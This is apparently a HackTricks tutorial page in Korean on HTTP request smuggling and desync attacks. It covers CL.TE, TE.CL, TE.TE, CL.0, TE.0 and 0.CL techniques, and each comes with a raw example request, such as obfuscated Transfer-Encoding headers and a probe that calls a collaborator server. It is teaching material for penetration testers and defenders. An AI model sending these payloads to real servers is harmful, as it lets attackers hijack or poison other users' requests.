HTTP Request Smuggling / HTTP Desync Attack

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ฐœ์š”

์ด ์ทจ์•ฝ์ ์€ ํ”„๋ก ํŠธ์—”๋“œ ํ”„๋ก์‹œ์™€ ๋ฐฑ์—”๋“œ ์„œ๋ฒ„ ์‚ฌ์ด์˜ ๋™๊ธฐํ™” ๋ถˆ์ผ์น˜๋กœ ์ธํ•ด ๊ณต๊ฒฉ์ž๊ฐ€ ํ”„๋ก ํŠธ์—”๋“œ(๋กœ๋“œ๋ฐธ๋Ÿฐ์„œ/๋ฆฌ๋ฒ„์Šค ํ”„๋ก์‹œ)์—์„œ๋Š” ๋‹จ์ผ ์š”์ฒญ์œผ๋กœ, ๋ฐฑ์—”๋“œ์—์„œ๋Š” 2๊ฐœ์˜ ์š”์ฒญ์œผ๋กœ ํ•ด์„๋˜๋Š” HTTP ์š”์ฒญ์„ ์ „์†กํ•  ์ˆ˜ ์žˆ์„ ๋•Œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.
์ด๋กœ ์ธํ•ด ์‚ฌ์šฉ์ž๋Š” ์ž์‹ ์˜ ์š”์ฒญ ๋‹ค์Œ์— ๋ฐฑ์—”๋“œ์— ๋„์ฐฉํ•˜๋Š” ์š”์ฒญ์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

์ด๋ก 

RFC Specification (2161)

If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.

Content-Length

The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.

Transfer-Encoding: chunked

The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks

ํ˜„์‹ค

ํ”„๋ก ํŠธ์—”๋“œ(๋กœ๋“œ๋ฐธ๋Ÿฐ์„œ / ๋ฆฌ๋ฒ„์Šค ํ”„๋ก์‹œ)๋Š” Content-Length ๋˜๋Š” Transfer-Encoding ํ—ค๋”๋ฅผ ์ฒ˜๋ฆฌํ•˜๊ณ , ๋ฐฑ์—”๋“œ ์„œ๋ฒ„๋Š” ๋‹ค๋ฅธ ํ—ค๋”๋ฅผ ์ฒ˜๋ฆฌํ•˜์—ฌ ๋‘ ์‹œ์Šคํ…œ ๊ฐ„์— ๋™๊ธฐํ™” ๋ถˆ์ผ์น˜๋ฅผ ์ผ์œผํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์ด๊ฒƒ์€ ๋งค์šฐ ์น˜๋ช…์ ์ผ ์ˆ˜ ์žˆ๋Š”๋ฐ, ๊ณต๊ฒฉ์ž๋Š” ๋ฆฌ๋ฒ„์Šค ํ”„๋ก์‹œ์— ํ•˜๋‚˜์˜ ์š”์ฒญ์„ ๋ณด๋‚ด์„œ ๋ฐฑ์—”๋“œ๊ฐ€ ์ด๋ฅผ ๋‘ ๊ฐœ์˜ ์„œ๋กœ ๋‹ค๋ฅธ ์š”์ฒญ์œผ๋กœ ํ•ด์„ํ•˜๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ์ด ๊ธฐ๋ฒ•์˜ ์œ„ํ—˜์„ฑ์€ ๋ฐฑ์—”๋“œ๊ฐ€ ์ฃผ์ž…๋œ ๋‘ ๋ฒˆ์งธ ์š”์ฒญ์„ ๋‹ค์Œ ํด๋ผ์ด์–ธํŠธ๋กœ๋ถ€ํ„ฐ ์˜จ ๊ฒƒ์ฒ˜๋Ÿผ ์ฒ˜๋ฆฌํ•˜๊ณ , ๊ทธ ํด๋ผ์ด์–ธํŠธ์˜ ์‹ค์ œ ์š”์ฒญ์ด ์ฃผ์ž…๋œ ์š”์ฒญ์˜ ์ผ๋ถ€๊ฐ€ ๋˜์–ด๋ฒ„๋ฆฐ๋‹ค๋Š” ์ ์— ์žˆ์Šต๋‹ˆ๋‹ค.

์„ธ๋ถ€์‚ฌํ•ญ

HTTP์—์„œ **์ƒˆ ์ค„ ๋ฌธ์ž(new line)**๋Š” 2๋ฐ”์ดํŠธ๋กœ ๊ตฌ์„ฑ๋œ๋‹ค๋Š” ๊ฒƒ์„ ๊ธฐ์–ตํ•˜์„ธ์š”(์ฆ‰ CRLF).

  • Content-Length: ์ด ํ—ค๋”๋Š” ์š”์ฒญ ๋ณธ๋ฌธ์˜ ๋ฐ”์ดํŠธ ์ˆ˜๋ฅผ ์‹ญ์ง„์ˆ˜๋กœ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค. ๋ณธ๋ฌธ์€ ๋งˆ์ง€๋ง‰ ๋ฌธ์ž์—์„œ ๋๋‚˜๋Š” ๊ฒƒ์œผ๋กœ ๊ธฐ๋Œ€๋˜๋ฉฐ, ์š”์ฒญ ๋์— ์ถ”๊ฐ€์ ์ธ ์ƒˆ ์ค„์ด ํ•„์š”ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  • Transfer-Encoding: ์ด ํ—ค๋”๋Š” ๋ณธ๋ฌธ์—์„œ ๋‹ค์Œ ์ฒญํฌ์˜ ํฌ๊ธฐ๋ฅผ 16์ง„์ˆ˜๋กœ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค. ๊ฐ ์ฒญํฌ๋Š” ์ƒˆ ์ค„๋กœ ๋๋‚˜์•ผ ํ•˜์ง€๋งŒ ์ด ์ƒˆ ์ค„์€ ๊ธธ์ด ํ‘œ์‹œ์—์„œ ๊ณ„์‚ฐ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด ์ „์†ก ๋ฐฉ์‹์€ ํฌ๊ธฐ๊ฐ€ 0์ธ ์ฒญํฌ ๋’ค์— 2๊ฐœ์˜ ์ƒˆ ์ค„๋กœ ๋๋‚˜์•ผ ํ•ฉ๋‹ˆ๋‹ค: 0
  • Connection: ๊ฒฝํ—˜์ƒ request smuggling์„ ์‹œ๋„ํ•  ๋•Œ ์ฒซ ์š”์ฒญ์—์„œ๋Š” Connection: keep-alive ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค.

Visible - Hidden

HTTP/1.1์˜ ์ฃผ์š” ๋ฌธ์ œ๋Š” ๋ชจ๋“  ์š”์ฒญ์ด ๋™์ผํ•œ TCP ์†Œ์ผ“์œผ๋กœ ๊ฐ€๊ธฐ ๋•Œ๋ฌธ์—, ๋‘ ์‹œ์Šคํ…œ์ด ์š”์ฒญ์„ ๋ฐ›๋Š” ๋ฐฉ์‹์— ์ฐจ์ด๊ฐ€ ์žˆ์œผ๋ฉด ํ•˜๋‚˜์˜ ์š”์ฒญ์„ ์ตœ์ข… ๋ฐฑ์—”๋“œ(๋˜๋Š” ์ค‘๊ฐ„ ์‹œ์Šคํ…œ)์—์„œ ์„œ๋กœ ๋‹ค๋ฅธ ์—ฌ๋Ÿฌ ์š”์ฒญ์œผ๋กœ ์ฒ˜๋ฆฌ๋˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์ž…๋‹ˆ๋‹ค.

This blog post์—์„œ๋Š” WAF์— ์˜ํ•ด ํƒ์ง€๋˜์ง€ ์•Š๋Š” ์‹œ์Šคํ…œ์˜ desync ๊ณต๊ฒฉ์„ ์ƒˆ๋กญ๊ฒŒ ํƒ์ง€ํ•  ๋ฐฉ๋ฒ•์„ ์ œ์‹œํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ์œ„ํ•ด Visible vs Hidden ํ–‰๋™์„ ์†Œ๊ฐœํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ์˜ ๋ชฉํ‘œ๋Š” ์‹ค์ œ๋กœ ์•„๋ฌด ๊ฒƒ๋„ ์ต์Šคํ”Œ๋กœ์ž‡ํ•˜์ง€ ์•Š๊ณ  desync๋ฅผ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ๋Š” ๊ธฐ๋ฒ•๋“ค์„ ์‚ฌ์šฉํ•ด ์‘๋‹ต์˜ ๋ถˆ์ผ์น˜๋ฅผ ์ฐพ๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด, ์ •์ƒ์ ์ธ Host ํ—ค๋”์™€ โ€œ hostโ€œ ํ—ค๋”๋ฅผ ํ•จ๊ป˜ ์ „์†กํ–ˆ์„ ๋•Œ ๋ฐฑ์—”๋“œ๊ฐ€ ์ด ์š”์ฒญ์— ๋Œ€ํ•ด ๋ถˆํ‰(์˜ˆ: โ€œ hostโ€œ ๊ฐ’์ด ์˜ฌ๋ฐ”๋ฅด์ง€ ์•Š์•„์„œ)์„ ํ•œ๋‹ค๋ฉด, ์ด๋Š” ํ”„๋ก ํŠธ์—”๋“œ๊ฐ€ โ€œ hostโ€œ ํ—ค๋”๋ฅผ ๋ฌด์‹œํ–ˆ์ง€๋งŒ ์ตœ์ข… ๋ฐฑ์—”๋“œ๋Š” ์ด๋ฅผ ์‚ฌ์šฉํ–ˆ์Œ์„ ์˜๋ฏธํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํ”„๋ก ํŠธ์—”๋“œ์™€ ๋ฐฑ์—”๋“œ ์‚ฌ์ด์˜ desync๋ฅผ ๊ฐ•ํ•˜๊ฒŒ ์‹œ์‚ฌํ•ฉ๋‹ˆ๋‹ค.

์ด๊ฒƒ์€ Hidden-Visible ๋ถˆ์ผ์น˜๊ฐ€ ๋ฉ๋‹ˆ๋‹ค.

๋ฐ˜๋Œ€๋กœ ํ”„๋ก ํŠธ์—”๋“œ๊ฐ€ โ€œ hostโ€œ ํ—ค๋”๋ฅผ ์ฒ˜๋ฆฌํ–ˆ์ง€๋งŒ ๋ฐฑ์—”๋“œ๊ฐ€ ์ฒ˜๋ฆฌํ•˜์ง€ ์•Š์•˜๋‹ค๋ฉด, ์ด๋Š” Visible-Hidden ์ƒํ™ฉ์— ํ•ด๋‹นํ•ฉ๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด, AWS ALB(ํ”„๋ก ํŠธ์—”๋“œ)์™€ IIS(๋ฐฑ์—”๋“œ) ์‚ฌ์ด์˜ desync๋Š” ์ด๋Ÿฐ ๋ฐฉ์‹์œผ๋กœ ๋ฐœ๊ฒฌ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. โ€œHost: foo/barโ€œ๋ฅผ ๋ณด๋ƒˆ์„ ๋•Œ ALB๋Š” 400, Server; awselb/2.0์„ ๋ฐ˜ํ™˜ํ–ˆ์œผ๋‚˜, โ€œHost : foo/barโ€œ๋ฅผ ๋ณด๋ƒˆ์„ ๋•Œ๋Š” 400, Server: Microsoft-HTTPAPI/2.0์„ ๋ฐ˜ํ™˜ํ•˜์—ฌ ๋ฐฑ์—”๋“œ๊ฐ€ ์‘๋‹ต์„ ๋ณด๋‚ด๊ณ  ์žˆ์Œ์„ ๋‚˜ํƒ€๋ƒˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” Hidden-Visible (H-V) ์ƒํ™ฉ์ž…๋‹ˆ๋‹ค.

์ด ์ƒํ™ฉ์€ AWS์—์„œ ์ฆ‰์‹œ ์ˆ˜์ •๋˜์ง€๋Š” ์•Š์•˜์ง€๋งŒ, routing.http.drop_invalid_header_fields.enabled๋ฅผ ์„ค์ •ํ•˜๊ณ  routing.http.desync_mitigation_mode = strictest๋กœ ์„ค์ •ํ•˜๋ฉด ๋ฐฉ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ธฐ๋ณธ ์˜ˆ์‹œ

Tip

Burp Suite๋กœ ์ด๋ฅผ ์ต์Šคํ”Œ๋กœ์ž‡ํ•˜๋ ค๊ณ  ํ•  ๋•Œ๋Š” repeater์—์„œ **Update Content-Length**์™€ Normalize HTTP/1 line endings ๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜์„ธ์š”. ์ผ๋ถ€ gadget์€ ๊ฐœํ–‰, ์บ๋ฆฌ์ง€ ๋ฆฌํ„ด ๋ฐ ์ž˜๋ชป๋œ content-length๋ฅผ ์•…์šฉํ•ฉ๋‹ˆ๋‹ค.

HTTP request smuggling ๊ณต๊ฒฉ์€ front-end์™€ back-end ์„œ๋ฒ„๊ฐ€ Content-Length(CL)์™€ Transfer-Encoding(TE) ํ—ค๋”๋ฅผ ํ•ด์„ํ•˜๋Š” ๋ฐฉ์‹์˜ ๋ถˆ์ผ์น˜๋ฅผ ์ด์šฉํ•ด ๋ชจํ˜ธํ•œ ์š”์ฒญ์„ ์ „์†กํ•จ์œผ๋กœ์จ ๋งŒ๋“ค์–ด์ง‘๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ณต๊ฒฉ์€ ์ฃผ๋กœ CL.TE, TE.CL, TE.TE ํ˜•ํƒœ๋กœ ๋‚˜ํƒ€๋‚ฉ๋‹ˆ๋‹ค. ๊ฐ ์œ ํ˜•์€ ํ”„๋ก ํŠธ์—”๋“œ์™€ ๋ฐฑ์—”๋“œ๊ฐ€ ์ด๋Ÿฌํ•œ ํ—ค๋”๋ฅผ ์šฐ์„  ์ฒ˜๋ฆฌํ•˜๋Š” ๋ฐฉ์‹์˜ ๊ณ ์œ ํ•œ ์กฐํ•ฉ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. ์ทจ์•ฝ์ ์€ ๋™์ผํ•œ ์š”์ฒญ์„ ์„œ๋ฒ„๋“ค์ด ๋‹ค๋ฅด๊ฒŒ ์ฒ˜๋ฆฌํ•  ๋•Œ ๋ฐœ์ƒํ•˜๋ฉฐ, ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ์•…์˜์ ์ธ ๊ฒฐ๊ณผ๋ฅผ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ทจ์•ฝ์  ์œ ํ˜•์˜ ๊ธฐ๋ณธ ์˜ˆ์‹œ

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

Tip

์ด์ „ ํ‘œ์—๋Š” TE.0 ๊ธฐ๋ฒ•๋„ ์ถ”๊ฐ€ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” CL.0 ๊ธฐ๋ฒ•๊ณผ ์œ ์‚ฌํ•˜์ง€๋งŒ Transfer-Encoding์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

  • Front-End (CL): Content-Length ํ—ค๋”๋ฅผ ๊ธฐ์ค€์œผ๋กœ ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•ฉ๋‹ˆ๋‹ค.

  • Back-End (TE): Transfer-Encoding ํ—ค๋”๋ฅผ ๊ธฐ์ค€์œผ๋กœ ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•ฉ๋‹ˆ๋‹ค.

  • ๊ณต๊ฒฉ ์‹œ๋‚˜๋ฆฌ์˜ค:

  • ๊ณต๊ฒฉ์ž๋Š” Content-Length ํ—ค๋” ๊ฐ’์ด ์‹ค์ œ ์ฝ˜ํ…์ธ  ๊ธธ์ด์™€ ์ผ์น˜ํ•˜์ง€ ์•Š๋Š” ์š”์ฒญ์„ ๋ณด๋ƒ…๋‹ˆ๋‹ค.

  • ํ”„๋ก ํŠธ์—”๋“œ๋Š” Content-Length ๊ฐ’์— ๋”ฐ๋ผ ์ „์ฒด ์š”์ฒญ์„ ๋ฐฑ์—”๋“œ๋กœ ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค.

  • ๋ฐฑ์—”๋“œ๋Š” Transfer-Encoding: chunked ํ—ค๋” ๋•Œ๋ฌธ์— ์š”์ฒญ์„ ์ฒญํฌ ํ˜•์‹์œผ๋กœ ์ฒ˜๋ฆฌํ•˜์—ฌ ๋‚จ์€ ๋ฐ์ดํ„ฐ๋ฅผ ๋ณ„๋„์˜ ํ›„์† ์š”์ฒญ์œผ๋กœ ํ•ด์„ํ•ฉ๋‹ˆ๋‹ค.

  • ์˜ˆ์‹œ:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

  • Front-End (TE): Transfer-Encoding ํ—ค๋”๋ฅผ ๊ธฐ์ค€์œผ๋กœ ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•ฉ๋‹ˆ๋‹ค.

  • Back-End (CL): Content-Length ํ—ค๋”๋ฅผ ๊ธฐ์ค€์œผ๋กœ ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•ฉ๋‹ˆ๋‹ค.

  • ๊ณต๊ฒฉ ์‹œ๋‚˜๋ฆฌ์˜ค:

  • ๊ณต๊ฒฉ์ž๋Š” ์ฒญํฌ ํฌ๊ธฐ(7b)์™€ ์‹ค์ œ ์ฝ˜ํ…์ธ  ๊ธธ์ด(Content-Length: 4)๊ฐ€ ์ผ์น˜ํ•˜์ง€ ์•Š๋Š” chunked ์š”์ฒญ์„ ์ „์†กํ•ฉ๋‹ˆ๋‹ค.

  • ํ”„๋ก ํŠธ์—”๋“œ๋Š” Transfer-Encoding์„ ์ค€์ˆ˜ํ•˜์—ฌ ์ „์ฒด ์š”์ฒญ์„ ๋ฐฑ์—”๋“œ๋กœ ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค.

  • ๋ฐฑ์—”๋“œ๋Š” Content-Length๋ฅผ ์กด์ค‘ํ•˜์—ฌ ์š”์ฒญ์˜ ์ฒ˜์Œ ๋ถ€๋ถ„(์ง€์ •๋œ ๋ฐ”์ดํŠธ ์ˆ˜)๋งŒ ์ฒ˜๋ฆฌํ•˜๊ณ , ๋‚˜๋จธ์ง€๋Š” ์˜๋„์น˜ ์•Š์€ ํ›„์† ์š”์ฒญ์˜ ์ผ๋ถ€๋กœ ๋‚จ๊น๋‹ˆ๋‹ค.

  • ์˜ˆ์‹œ:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

  • ์„œ๋ฒ„๋“ค: ๋‘˜ ๋‹ค Transfer-Encoding์„ ์ง€์›ํ•˜์ง€๋งŒ ํ•˜๋‚˜๋Š” ๋‚œ๋…ํ™”๋กœ ์ธํ•ด ์ด๋ฅผ ๋ฌด์‹œํ•˜๋„๋ก ์œ ๋„๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • ๊ณต๊ฒฉ ์‹œ๋‚˜๋ฆฌ์˜ค:

  • ๊ณต๊ฒฉ์ž๋Š” ๋‚œ๋…ํ™”๋œ Transfer-Encoding ํ—ค๋”๋“ค์„ ํฌํ•จํ•œ ์š”์ฒญ์„ ๋ณด๋ƒ…๋‹ˆ๋‹ค.

  • ์–ด๋А ์„œ๋ฒ„(ํ”„๋ก ํŠธ์—”๋“œ ๋˜๋Š” ๋ฐฑ์—”๋“œ)๊ฐ€ ๋‚œ๋…ํ™”๋ฅผ ์ธ์‹ํ•˜์ง€ ๋ชปํ•˜๋А๋ƒ์— ๋”ฐ๋ผ CL.TE ๋˜๋Š” TE.CL ์ทจ์•ฝ์ ์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • ํ•œ ์„œ๋ฒ„๊ฐ€ ์ฒ˜๋ฆฌํ•˜์ง€ ์•Š์€ ์š”์ฒญ์˜ ์ผ๋ถ€๋Š” ๋‹ค๋ฅธ ์„œ๋ฒ„์—์„œ ํ›„์† ์š”์ฒญ์˜ ์ผ๋ถ€๊ฐ€ ๋˜์–ด smuggling์„ ์ดˆ๋ž˜ํ•ฉ๋‹ˆ๋‹ค.

  • ์˜ˆ์‹œ:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

  • ๋‘ ์„œ๋ฒ„ ๋ชจ๋‘ Content-Length ํ—ค๋”๋งŒ์œผ๋กœ ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•ฉ๋‹ˆ๋‹ค.
  • ์ด ์‹œ๋‚˜๋ฆฌ์˜ค๋Š” ๋ณดํ†ต smuggling์œผ๋กœ ์ด์–ด์ง€์ง€ ์•Š๋Š”๋ฐ, ์ด๋Š” ๋‘ ์„œ๋ฒ„๊ฐ€ ์š”์ฒญ ๊ธธ์ด๋ฅผ ์ผ์น˜ํ•˜๊ฒŒ ํ•ด์„ํ•˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.
  • ์˜ˆ์‹œ:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

  • Content-Length ํ—ค๋”๊ฐ€ ์กด์žฌํ•˜๊ณ  0์ด ์•„๋‹Œ ๊ฐ’์„ ๊ฐ€์ง€๋ฉฐ, ์ด๋Š” ์š”์ฒญ ๋ณธ๋ฌธ์— ๋‚ด์šฉ์ด ์žˆ์Œ์„ ๋‚˜ํƒ€๋‚ด๋Š” ์‹œ๋‚˜๋ฆฌ์˜ค๋ฅผ ๋งํ•ฉ๋‹ˆ๋‹ค. ๋ฐฑ์—”๋“œ๋Š” Content-Length ํ—ค๋”๋ฅผ ๋ฌด์‹œ(0์œผ๋กœ ์ฒ˜๋ฆฌ)ํ•˜์ง€๋งŒ ํ”„๋ก ํŠธ์—”๋“œ๋Š” ์ด๋ฅผ ํŒŒ์‹ฑํ•˜๋Š” ๊ฒฝ์šฐ์ž…๋‹ˆ๋‹ค.
  • ์ด๋Š” smuggling ๊ณต๊ฒฉ์„ ์ดํ•ดํ•˜๊ณ  ๊ตฌ์„ฑํ•  ๋•Œ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. ์™œ๋ƒํ•˜๋ฉด ์„œ๋ฒ„๋“ค์ด ์š”์ฒญ์˜ ๋์„ ๊ฒฐ์ •ํ•˜๋Š” ๋ฐฉ์‹์— ์˜ํ–ฅ์„ ์ฃผ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.
  • ์˜ˆ์‹œ:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

  • ์œ„์˜ CL.0๊ณผ ์œ ์‚ฌํ•˜์ง€๋งŒ TE๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ์ž…๋‹ˆ๋‹ค.
  • Technique reported here
  • ์˜ˆ์‹œ:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

0.CL ์‹œ๋‚˜๋ฆฌ์˜ค

0.CL ์ƒํ™ฉ์—์„œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด Content-Length๋ฅผ ๊ฐ€์ง„ ์š”์ฒญ์ด ์ „์†ก๋ฉ๋‹ˆ๋‹ค:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7

GET /404 HTTP/1.1
X: Y

๊ทธ๋ฆฌ๊ณ  front-end๋Š” Content-Length๋ฅผ ๊ณ ๋ คํ•˜์ง€ ์•Š์•„์„œ ์˜ˆ์‹œ์—์„œ 7๊นŒ์ง€(์ฆ‰ ์ฒซ ๋ฒˆ์งธ ์š”์ฒญ๊นŒ์ง€๋งŒ) backend๋กœ request๋ฅผ ๋ณด๋‚ธ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ backend๋Š” Content-Length๋ฅผ ๋ณด๊ณ  ๋ณธ๋ฌธ(body)์„ ๊ธฐ๋‹ค๋ฆฌ๋Š”๋ฐ, front-end๋Š” ์ด๋ฏธ response๋ฅผ ๊ธฐ๋‹ค๋ฆฌ๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ๊ทธ ๋ณธ๋ฌธ์€ ๊ฒฐ์ฝ” ๋„์ฐฉํ•˜์ง€ ์•Š๋Š”๋‹ค.

ํ•˜์ง€๋งŒ backend์— ๋ณด๋‚ผ ์ˆ˜ ์žˆ๋Š” ์š”์ฒญ ์ค‘ ์š”์ฒญ ๋ณธ๋ฌธ์„ ๋ฐ›๊ธฐ ์ „์— ์‘๋‹ต์„ ๋ฐ˜ํ™˜ํ•˜๋Š” ๊ฒƒ์ด ์žˆ์œผ๋ฉด ์ด deadlock์€ ๋ฐœ์ƒํ•˜์ง€ ์•Š๋Š”๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด IIS์—์„œ๋Š” /con ๊ฐ™์€ ๊ธˆ์ง€๋œ ์ด๋ฆ„์œผ๋กœ ์š”์ฒญ์„ ๋ณด๋‚ด๋ฉด(์ž์„ธํ•œ ๋‚ด์šฉ์€ documentation ์ฐธ์กฐ), ์ดˆ๊ธฐ ์š”์ฒญ์€ ๋ฐ”๋กœ ์‘๋‹ต๋˜๊ณ  ๋‘ ๋ฒˆ์งธ ์š”์ฒญ์€ ํ”ผํ•ด์ž์˜ ์š”์ฒญ์„ ํฌํ•จํ•˜๊ฒŒ ๋œ๋‹ค:

GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>

์ด๋Š” desync๋ฅผ ์ผ์œผํ‚ค๋Š” ๋ฐ ์œ ์šฉํ•˜์ง€๋งŒ, ์ง€๊ธˆ๊นŒ์ง€๋Š” ์•„๋ฌด ์˜ํ–ฅ์ด ์—†์—ˆ์Šต๋‹ˆ๋‹ค.

However, the post offers a solution for this by converting a 0.CL attack into a CL.0 with a double desync.

์›น ์„œ๋ฒ„ ์ค‘๋‹จ

์ด ๊ธฐ๋ฒ•์€ ์ดˆ๊ธฐ HTTP ๋ฐ์ดํ„ฐ๋ฅผ ์ฝ๋Š” ๋™์•ˆ ์›น ์„œ๋ฒ„๋ฅผ ์†์ƒ์‹œํ‚ฌ ์ˆ˜ ์žˆ์ง€๋งŒ ๋™์‹œ์— ์—ฐ๊ฒฐ์„ ๋‹ซ์ง€ ์•Š๋Š” ์ƒํ™ฉ์—์„œ๋„ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ๋˜๋ฉด HTTP ์š”์ฒญ์˜ body๊ฐ€ ๋‹ค์Œ HTTP ์š”์ฒญ์œผ๋กœ ๊ฐ„์ฃผ๋ฉ๋‹ˆ๋‹ค.

For example, as explained in this writeup, In Werkzeug it was possible to send some Unicode characters and it will make the server break. However, if the HTTP connection was created with the header Connection: keep-alive, the body of the request wonโ€™t be read and the connection will still be open, so the body of the request will be treated as the next HTTP request.

hop-by-hop headers๋ฅผ ํ†ตํ•œ ๊ฐ•์ œ

hop-by-hop headers๋ฅผ ์•…์šฉํ•˜๋ฉด ํ”„๋ก์‹œ์—๊ฒŒ delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse.

Connection: Content-Length

For more information about hop-by-hop headers visit:

hop-by-hop headers

HTTP Request Smuggling ์ฐพ๊ธฐ

